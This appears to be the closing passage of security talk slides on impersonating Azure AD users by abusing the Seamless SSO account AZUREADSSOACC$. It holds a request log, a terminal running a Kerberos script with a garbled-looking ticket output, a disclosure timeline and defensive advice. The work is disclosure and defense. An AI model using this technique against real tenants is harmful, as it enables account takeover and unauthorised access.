<th>Status Code</th>
<th>Response Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>254</td>
<td>GET</td>
<td><a href="https://autologen.microsoft.com/winauth/sso?desktopsso=tr">https://autologen.microsoft.com/winauth/sso?desktopsso=tr</a>...</td>
<td>/frozenliquids.onmicrosoft.com/winauth/sso?desktopsso=...</td>
<td>200</td>
<td>1.6s</td>
</tr>
<tr>
<td>255</td>
<td>POST</td>
<td><a href="https://login.microsoft.com/frozenliquids.onmicrosoft.com/login">https://login.microsoft.com/frozenliquids.onmicrosoft.com/login</a></td>
<td>/frozenliquids.onmicrosoft.com/login</td>
<td>302</td>
<td>1.6s</td>
</tr>
<tr>
<td>256</td>
<td>GET</td>
<td><a href="https://accountactivatedir/frozenliquids.onmicrosoft.com/">https://accountactivatedir/frozenliquids.onmicrosoft.com/</a></td>
<td>/accountactivatedir/frozenliquids.onmicrosoft.com/</td>
<td>302</td>
<td>1.6s</td>
</tr>
</tbody>
</table>

```
user@localhost:/azured$ export KRBSRCNAME=vince.cc.cache
user@localhost:/azured$ python krbhttps.py
YIIfsYkGwYBVQhoIIIPczCBa0gD7ALBGkqhkiC9xIBAgKiqwNQBIIFJG1CCBqfGSCqGSiB3EgECAgEAb0IFdzCCBX0gAwIBEwggToOAMCAWYHdsMT0ZGSUNFLkQ/0QFMejUW6ADAgECsWwKhSeEhR0EcEYsJVOB2xVZ29uLmIPY3jc23mdGF6dX1JYQq1IBAkaKCI7eg9G57HqJemK6Esgcf/8Jt4YLYOFz10ZkJnTADa815R8eeT9i15SwvRIuseF/LQ0sAdq3mWpnXEF7UUpSISegHfection79GceM9f47Ch/IssKvWhs84JujXbdmc5i0vBs3w/MNhle6aiUQjMjXhLwIt6UNy/s6zdb0j5p8SEe/nh+wHnujeU2kBeN7bcRduxWkCy1Ihih12ryq3e0uQGd/hp+mWPF7uCzS6L4KFP30o7C0x5f4eETLvZdE3LbOsY9w9ULz1J7Nq7I5d5s2zc qZFihXve4B7H5My602Qr4QuWx1QXJR40472KxKsQ66tMok+iRLveKcKtKmexo0Hyx1x/xZNgR6Dcm62CchZx3FPF1LB9JEHFCWyN 601672Bk4Z199rxXypKj3qG150XHNN3H9906/5t581UKE8NnmFETUv3MK8ahDEF2nM2N8153Hw3n6w6cG6FfhN-d444uk
```
Logged in 😊
TL;DR

Anyone who can edit properties* of the AZUREADSSOACC$ account, can impersonate any user in Azure AD using Kerberos (if no MFA)

*and has control over at least one account with a Service Principal Name set
In BloodHound 2.1
Disclosure timeline

• Reported to MSRC January 2019

• Conclusion: Won’t fix for now, but looking into hardening measures for the future
Conclusions

• MFA all the things
• Be careful with MFA exclusions on IP basis (guest network?)
• Protect your Azure AD Sync servers like domain controllers
• Audit your Service Principals, their access and their owners
• Using SSO weakens security, protect the SSO account